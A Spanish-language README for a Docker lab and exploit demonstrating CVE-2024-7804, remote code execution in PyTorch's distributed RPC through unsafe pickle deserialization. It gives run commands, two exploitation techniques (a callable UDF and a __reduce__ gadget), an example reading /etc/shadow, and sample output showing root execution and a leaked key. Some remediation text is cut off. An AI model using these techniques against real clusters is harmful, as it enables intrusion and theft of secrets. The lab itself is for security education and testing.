
Laboratorio Docker autocontenido y exploit en Python que demuestra CVE-2024-7804, una RCE crítica en el RPC distribuido de PyTorch mediante deserialización insegura de pickle (CWE-502). Incluye dos técnicas de explotación y orientación de remediación.
Laboratorio autocontenido + exploit para CVE-2024-7804: ejecución remota de código
en el framework RPC distribuido de PyTorch (torch.distributed.rpc) mediante
deserialización insegura de datos no confiables (CWE-502).
torch <= 2.3.1torch/distributed/rpc/internal.py — _InternalRPCPickler.deserialize()Nota: este aviso fue posteriormente retirado/rechazado por los mantenedores y Red Hat como "funcionalidad conocida" — el RPC de PyTorch es por diseño un sistema de pares confiables. El laboratorio sigue siendo una demostración precisa y práctica del problema reportado.
Cada llamada RPC envía un namedtuple PythonUDF (, , ). En el
nodo receptor se reconstruye con un , sin lista blanca
y sin verificación de integridad:
funcargskwargspickle.Unpickler simple# torch/distributed/rpc/internal.py (torch 2.3.1)
def deserialize(self, binary_data, tensor_table):
...
unpickler = _unpickler(io.BytesIO(binary_data)) # _unpickler = pickle.Unpickler
ret = unpickler.load() # <-- pickle controlado por el atacante
...
Cualquier par que pueda unirse al "mundo" RPC puede, por tanto, hacer que el nodo
ejecute código arbitrario — ya sea mediante un gadget __reduce__ de pickle que se
dispara durante load(), o simplemente nombrando cualquier invocable importable
como UDF, ya que nada restringe lo que el nodo ejecutará.
CVE-2024-7804/
├── docker-compose.yml # víctima + atacante en una red bridge
├── lab/
│ ├── Dockerfile # python:3.11-slim + torch 2.3.1 (CPU) — la imagen vulnerable
│ └── server.py # víctima: un worker RPC confiado que espera pares
└── exploit/
└── exploit.py # atacante: se une al mundo y ejecuta RCE en la víctima
Docker con el plugin Compose. Solo CPU (sin GPU), funciona en amd64 y arm64.
# 1. Iniciar el nodo víctima vulnerable (rank 0, espera a un par)
docker compose up --build -d victim
# 2. Disparar el exploit (por defecto: ejecutar un comando en la víctima y obtener su stdout)
docker compose run --rm attacker
# 3. Derribar todo
docker compose down
[attacker] ===== salida del comando devuelta por la víctima =====
uid=0(root) gid=0(root) groups=0(root)
victim
--- secreto exfiltrado ---
CLUSTER_API_KEY=sk-live-9c1f4b7e-DO-NOT-LEAK
[attacker] ===== fin de la salida =====
El atacante ejecutó comandos como root en la víctima y exfiltró un archivo que nunca debía exponerse.
| Comando | Qué demuestra |
|---|---|
docker compose run --rm attacker | Envía subprocess.check_output como UDF. La víctima ejecuta el comando y devuelve su stdout — RCE y exfiltración en una sola llamada. |
docker compose run --rm attacker python exploit.py --reduce | Envía un objeto cuyo __reduce__ ejecuta os.system mientras la víctima deserializa el payload — RCE en el momento de la deserialización (la esencia de CWE-502), antes incluso de que se llame al UDF. |
Comando personalizado:
docker compose run --rm attacker python exploit.py --cmd "cat /etc/shadow"
Para --reduce, el comando se ejecuta en la víctima, así que obsérvalo allí:
docker compose run --rm attacker python exploit.py --reduce --cmd "id"
docker compose logs victim # la salida aparece en el log de la VÍCTIMA
El log de la víctima para --reduce termina con un traceback en
torch/distributed/rpc/internal.py, línea ~207 (python_udf.func(...)) — prueba de
que el payload ya fue reconstruido y ejecutado por el unpickler inseguro.
29500) a redes no confiables.Solo para educación y pruebas de seguridad autorizadas. El laboratorio es intencionalmente vulnerable — no lo despliegues, y ejecuta el exploit únicamente contra este laboratorio.